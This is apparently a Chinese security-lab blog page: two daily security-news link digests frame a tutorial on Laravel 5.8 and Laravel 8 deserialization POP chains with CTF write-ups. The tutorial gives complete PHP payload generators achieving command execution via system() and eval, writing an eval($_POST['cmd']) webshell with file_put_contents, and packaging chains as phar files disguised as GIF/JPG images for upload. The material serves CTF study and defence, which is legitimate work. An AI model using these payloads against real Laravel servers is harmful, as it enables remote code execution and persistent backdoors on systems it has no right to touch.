免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、SAP 修补了 NetWeaver 中的关键漏洞 https://www.securityweek.com/sap-patches-critical-vulnerabilities-netweaver2、微软对新的 Windows 零日攻击发出警报 https://www.securityweek.com/microsoft-raises-alarm-new-windows-zero-day-attacks3、Adobe 修补 PDF Reader 和 Photoshop 中的高危漏洞 https://www.securityweek.com/adobe-patches-major-security-flaws-pdf-reader-photoshop4、RabbitMQ等流行的开源消息代理存在 DoS漏洞 https://www.securityweek.com/organizations-warned-about-dos-flaws-popular-open-source-message-brokers5、 CISA 发布漏洞披露平台允许道德黑客向联邦机构报告安全漏洞 https://www.securityweek.com/cisa-announces-vulnerability-disclosure-policy-platform6、 Google发布Android 6月更新修补了多个严重漏洞 https://www.securityweek.com/critical-vulnerabilities-patched-android-june-2021-security-updates7、Fastly CDN 故障影响了Reddit、GitHub、Paypal等多个网站访问 https://securityaffairs.co/wordpress/118732/breaking-news/fastly-cdn-outage.html8、Trojan Shield行动：警方运行加密通信平台抓捕犯罪团伙 https://securityaffairs.co/wordpress/118706/cyber-crime/trojan-shield-op.html9、专家在 Microsoft Office 套件中发现了四个高危漏洞 https://securityaffairs.co/wordpress/118741/breaking-news/microsoft-office-component-flaws.html10、Hyperkitty中的安全漏洞可能会暴露私人数据 https://portswigger.net/daily-swig/security-vulnerability-in-hyperkitty-could-expose-private-data

Laravel5.8.x反序列化POP链 安装：其中--prefer-dist表示优先下载zip压缩包方式 composer create-project --prefer-dist laravel/laravel=5.8.* laravel5.8 在路由文件routes/web.php中添加 Route::get('/foo', function () {    if(isset($_GET['c'])){        $code = $_GET['c'];        unserialize($code);   }    else{        highlight_file(__FILE__);   }    return "Test laravel5.8 pop"; }); 然后在public目录起一个php服务就可以进行测试了 cd /public php -S 0.0.0.0:port /foo?c= 链一 链的入口是在laravel5.8\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php public function __destruct()   {        $this->events->dispatch($this->event);   } 这里的$this->events和$this->event可控，这里把$this->events设为含有dispatch方法的Dispatcher类，我们看到laravel5.8\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php来 public function dispatch($command)   {        if ($this->queueResolver && $this->commandShouldBeQueued($command)) {            return $this->dispatchToQueue($command);       }        return $this->dispatchNow($command);   } 跟踪进commandShouldBeQueued protected function commandShouldBeQueued($command)   {        return $command instanceof ShouldQueue;   } 这里要求$command（即传进来的$this->event）要实现ShouldQueue该接口 满足ShouldQueue接口的实现类即可，再跟踪进dispatchToQueue看一下 public function dispatchToQueue($command)   {        $connection = $command->connection ?? null;        $queue = call_user_func($this->queueResolver, $connection); 这里的$this->queueResolver和$connection都是可控的，到这里就可以直接构造payload rce <?php namespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;       }   }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;       }   } } namespace Illuminate\Bus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;       }   } } namespace {    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');    $b = new Illuminate\Bus\Dispatcher('system');    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);    print(urlencode(serialize($a))); } eval执行 到这里已经可以调用任意类的任意方法了，但是call_user_func无法执行eval函数，如果我们的system被ban了的话，就需要继续寻找执行任意命令的函数，我们找到laravel5.8\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php class EvalLoader implements Loader {    public function load(MockDefinition $definition)   {        if (class_exists($definition->getClassName(), false)) {            return;       }        eval("?>" . $definition->getCode());   } } 这里有一个eval函数，这里需要绕过eval上面的if语句，否则直接就return了 $definition变量是MockDefinition类，跟进一下 class MockDefinition {    protected $config;    protected $code;   ...    public function getClassName()   {        return $this->config->getName();   }    public function getCode()   {        return $this->code;   } } 这里$code，$config可控，但是呢$definition->getClassName()需要一个不存在的类，我们找一个类其getName是可控的，然后构造一个不存在的类即可，如下 laravel5.8\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php class MockConfiguration {   ... public function getName()   {        return $this->name;   }   ... } payload如下 <?php namespace Illuminate\Broadcasting{    class PendingBroadcast{        protected $events;        protected $event;        public function __construct($events, $event)       {            $this->event = $event;            $this->events = $events;       }   } } namespace Illuminate\Broadcasting{    class BroadcastEvent   {        public $connection;        public function __construct($connection)       {            $this->connection = $connection;       }   } } namespace Illuminate\Bus{    class Dispatcher   {        protected $queueResolver;        public function __construct($queueResolver)       {            $this->queueResolver = $queueResolver;       }   } } namespace Mockery\Generator{    class MockDefinition   {        protected $config;        protected $code;        public function __construct(MockConfiguration $config)       {            $this->config = $config;            $this->code = '<?php phpinfo();?>';       }   } } namespace Mockery\Generator{    class MockConfiguration   {        protected $name = "none class";   } } namespace Mockery\Loader{    class EvalLoader   {        public function load(MockDefinition $definition)       {       }   } } namespace {    $config = new \Mockery\Generator\MockConfiguration();    $connection = new \Mockery\Generator\MockDefinition($config);    $event = new \Illuminate\Broadcasting\BroadcastEvent($connection);    $queueResolver = array(new \Mockery\Loader\EvalLoader(),"load");    $events = new \Illuminate\Bus\Dispatcher($queueResolver);    $pendingBroadcast = new \Illuminate\Broadcasting\PendingBroadcast($events, $event);    echo urlencode(serialize($pendingBroadcast)); } 利用跳板 如果说靶机禁用了system等函数，我们希望用file_put_contents写shell等双参数的函数呢，这里有一个好的跳板laravel5.8\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php final class LazyOption extends Option {   ...    public function filter($callable)   {        return $this->option()->filter($callable);   }   ... private function option()   {        if (null === $this->option) {            /** @var mixed */            $option = call_user_func_array($this->callback, $this->arguments); 这里的$this->callback，$this->arguments是可控的，但是注意到option的属性是private，无法直接从我们刚刚的call_user_func直接去调用它，但是有许多类似filter的函数里面有调用option的 这里可以直接构造payload <?php namespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;       }   }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;       }   } } namespace Illuminate\Bus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;       }   } } namespace PhpOption{    final class LazyOption{        private $callback;        private $arguments;        public function __construct($callback, $arguments)       {            $this->callback = $callback;            $this->arguments = $arguments;       }   } } namespace {    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);    print(urlencode(serialize($a))); } 链二 入口同样是 public function __destruct()   {        $this->events->dispatch($this->event);   } 这里转换思路，找某个类没有实现dispatch方法却有__call方法，这里就可以直接调用，找到laravel5.8\vendor\laravel\framework\src\Illuminate\Validation\Validator.php class Validator implements ValidatorContract {   ... public function __call($method, $parameters)   {        $rule = Str::snake(substr($method, 8));        if (isset($this->extensions[$rule])) {            return $this->callExtension($rule, $parameters);       } 这里的$method是固定的字符串dispatch，传到$rule的时候为空，然后$this->extensions可控 跟踪进callExtension方法 protected function callExtension($rule, $parameters)   {        $callback = $this->extensions[$rule];        if (is_callable($callback)) {            return call_user_func_array($callback, $parameters); $callback和$parameters可控，于是就可以构造payload了 <?php namespace Illuminate\Broadcasting{    class PendingBroadcast{        protected $events;        protected $event;        public function __construct($events, $event)       {            $this->events = $events;            $this->event = $event;       }   } } namespace Illuminate\Validation{    class Validator{        protected $extensions;        public function __construct($extensions)       {            $this->extensions = $extensions;       }   } } namespace{    $b = new Illuminate\Validation\Validator(array(''=>'system'));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'id');    echo urlencode(serialize($a)); } 这条链在Laravel8里面也是可以用的 利用跳板 和上面一样可以加LazyOption这个跳板 <?php namespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;       }   } } namespace Illuminate\Validation {    class Validator {        public $extensions;        public function __construct($extensions){            $this->extensions = $extensions;       }   } } namespace PhpOption {    class LazyOption {        private $callback;        private $arguments;        public function __construct($callback, $arguments) {            $this->callback = $callback;            $this->arguments = $arguments;       }   } } namespace {    $c = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);    $b = new Illuminate\Validation\Validator(array(''=>array($c, 'filter')));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 'whoami');    print(urlencode(serialize($a))); } Laravel8反序列化POP链 在下面参考链接文章中Laravel8有介绍三条链都很详细，链和上面Laravel5.8也差不太多，就不赘述，然后有一条可以phpnfo的，同样是经典入口类 laravel859\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php public function __destruct()   {        $this->events->dispatch($this->event);   } 这里的$this->events和$this->event可控 同样这里有两种方法，要不使$this->events为某个拥有dispatch方法的类，我们可以调用这个类的dispatch方法 要不就使$this->events为某个类，并且该类没有实现dispatch方法却有__call方法，那么就可以调用这个__call方法了 看到laravel859\vendor\laravel\framework\src\Illuminate\View\InvokableComponentVariable.php public function __call($method, $parameters)   {        return $this->__invoke()->{$method}(...$parameters);   }    /**     * Resolve the variable.     *     * @return mixed     */    public function __invoke()   {        return call_user_func($this->callable);   } 这里的_call会直接调用__invoke，$this->callable也是我们可控的，不过这里只能调用phpinfo，比较鸡肋，payload如下 <?php namespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;       }   } } namespace Illuminate\View {    class InvokableComponentVariable {        protected $callable;        public function __construct($callable)   {        $this->callable = $callable;   }   } } namespace {    $b = new Illuminate\View\InvokableComponentVariable('phpinfo');    $a = new Illuminate\Broadcasting\PendingBroadcast($b, 1);    print(urlencode(serialize($a))); } 因为这里我们只能控制$this->callable，想要rce的话，还可以去找无参的方法里面带有call_user_func或者eval然后参数可控之类的，但是这里我找了好像没找到，读者有兴趣可以去试试 CTF题目 lumenserial lumenserial\routes\web.php先看到路由文件 $router->get('/server/editor', 'EditorController@main'); $router->post('/server/editor', 'EditorController@main'); 再看到 lumenserial\app\Http\Controllers\EditorController.php class EditorController extends Controller { private function download($url)   { ...        $content = file_get_contents($url); 发现这里的$url传进file_get_contents可以phar反序列化，然后$url的值来源于doCatchimage 方法中的 $sources 变量 class EditorController extends Controller {   ... protected function doCatchimage(Request $request)   {        $sources = $request->input($this->config['catcherFieldName']);        $rets = [];        if ($sources) {            foreach ($sources as $url) {                $rets[] = $this->download($url);           } 我们看到main发现他是通过call_user_func来调用带do开头的方法 class EditorController extends Controller {   ... public function main(Request $request)   {        $action = $request->query('action');        try {            if (is_string($action) && method_exists($this, "do{$action}")) {                return call_user_func([$this, "do{$action}"], $request);           } else { 可以通过如下控制变量 http://ip/server/editor/?action=Catchimage&source[]=phar://xxx.gif 然后在上面的5.8链的基础加上如下 @unlink("test.phar"); $phar = new \Phar("test.phar");//后缀名必须为phar $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub $phar->setMetadata($pendingBroadcast);//将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test");//添加要压缩的文件 $phar->stopBuffering(); 上传phar文件再用phar协议打即可 [HMBCTF 2021]EzLight 给了source.zip源码，是laravel框架开发的lightcms，先在本地把环境搭起来先，主要是修改.env文件改改数据库信息 先看到source\source\app\Http\Controllers\Admin\NEditorController.php public function catchImage(Request $request)   {   ...    $files = array_unique((array) $request->post('file'));        $urls = [];        foreach ($files as $v) {            $image = $this->fetchImageFile($v); 在catchImage函数里面以post传给file参数再给到fetchImageFile的$url protected function fetchImageFile($url)   {    if (isWebp($data)) {                $image = Image::make(imagecreatefromwebp($url));                $extension = 'webp';           } else {                $image = Image::make($data);           } 这里的$url可控，这里imagecreatefromwebp因为isWebp的限制无法进入，所以这里的分支是进入Image::make($data);来，我们在此处下一个断点，然后分析一下前面的代码，我们需要在vps上放一个图片的链接，然后在http://127.0.0.1:9001/admin/neditor/serve/catchImage传参数即可动态调试了 然后一直跟进就可以发现有个file_get_contents函数 至此结束，这里可以phar反序列化了 用上面的链一即可 <?php namespace Illuminate\Broadcasting {    class PendingBroadcast {        protected $events;        protected $event;        public function __construct($events, $event) {            $this->events = $events;            $this->event = $event;       }   }    class BroadcastEvent {        public $connection;        public function __construct($connection) {            $this->connection = $connection;       }   } } namespace Illuminate\Bus {    class Dispatcher {        protected $queueResolver;        public function __construct($queueResolver){            $this->queueResolver = $queueResolver;       }   } } namespace PhpOption{    final class LazyOption{        private $callback;        private $arguments;        public function __construct($callback, $arguments)       {            $this->callback = $callback;            $this->arguments = $arguments;       }   } } namespace {    $d = new PhpOption\LazyOption("file_put_contents", ["shell.php", "<?php phpinfo();eval(\$_POST['cmd']);?>"]);    $c = new Illuminate\Broadcasting\BroadcastEvent('whoami');    $b = new Illuminate\Bus\Dispatcher(array($d,"filter"));    $a = new Illuminate\Broadcasting\PendingBroadcast($b, $c);    print(urlencode(serialize($a)));    @unlink("test.phar");    $phar = new \Phar("test.phar");//后缀名必须为phar    $phar->startBuffering();    $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//设置stub    $phar->setMetadata($a);//将自定义的meta-data存入manifest    $phar->addFromString("test.txt", "test");//添加要压缩的文件    $phar->stopBuffering();    rename('test.phar','test.jpg'); } 上传之后，在vps上放 phar://./upload/image/202105/uwQGQ5sBTWRppO3lfHzOpxLkKODMS9NkrYHdobkz.gif 再到/admin/neditor/serve/catchImage用file传参打就可以了 本文涉及相关实验：https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182016010714511600001   （通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。）

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、美司法部已收回Colonial Pipeline支付的大部分赎金 https://www.securityweek.com/us-has-recovered-ransom-payment-made-after-pipeline-hack 2、“Siloscape”恶意软件以 Windows Server 容器为目标 https://www.securityweek.com/siloscape-malware-targets-windows-server-containers 3、军用车辆制造商 Navistar 报告其遭网络攻击数据被盗 https://www.securityweek.com/military-vehicles-maker-navistar-reports-data-theft-cyberattack 4、RockYou2021：有史以来最大的密码集合在线泄露，共84亿条 https://securityaffairs.co/wordpress/118696/data-breach/rockyou2021-largest-password-compilation-of-all-time-leaked-online-with-8-4-billion-entries.html 5、乌克兰称俄罗斯黑客对其进行大规模鱼叉式钓鱼活动 https://securityaffairs.co/wordpress/118675/apt/ukraine-hit-russia-spear-phishing.html 6、安全研究人员在 QNAP Q'center 中发现 RCE 漏洞 https://securityaffairs.co/wordpress/118668/hacking/qnap-qcenter-rce.html 7、GitHub 更新策略以删除在主动攻击中使用的漏洞利用代码 https://thehackernews.com/2021/06/github-updates-policy-to-remove-exploit.html 8、开源学校管理软件Fedena中发现严重零日漏洞 https://portswigger.net/daily-swig/critical-zero-day-vulnerabilities-found-in-unsupported-fedena-school-management-software 9、新的网络钓鱼活动劫持比特币地址并分发Agent Tesla https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant 10、英国Furniture Village家具零售商遭到网络攻击 https://www.theregister.com/2021/06/04/furniture_village_confirms_cyberattack/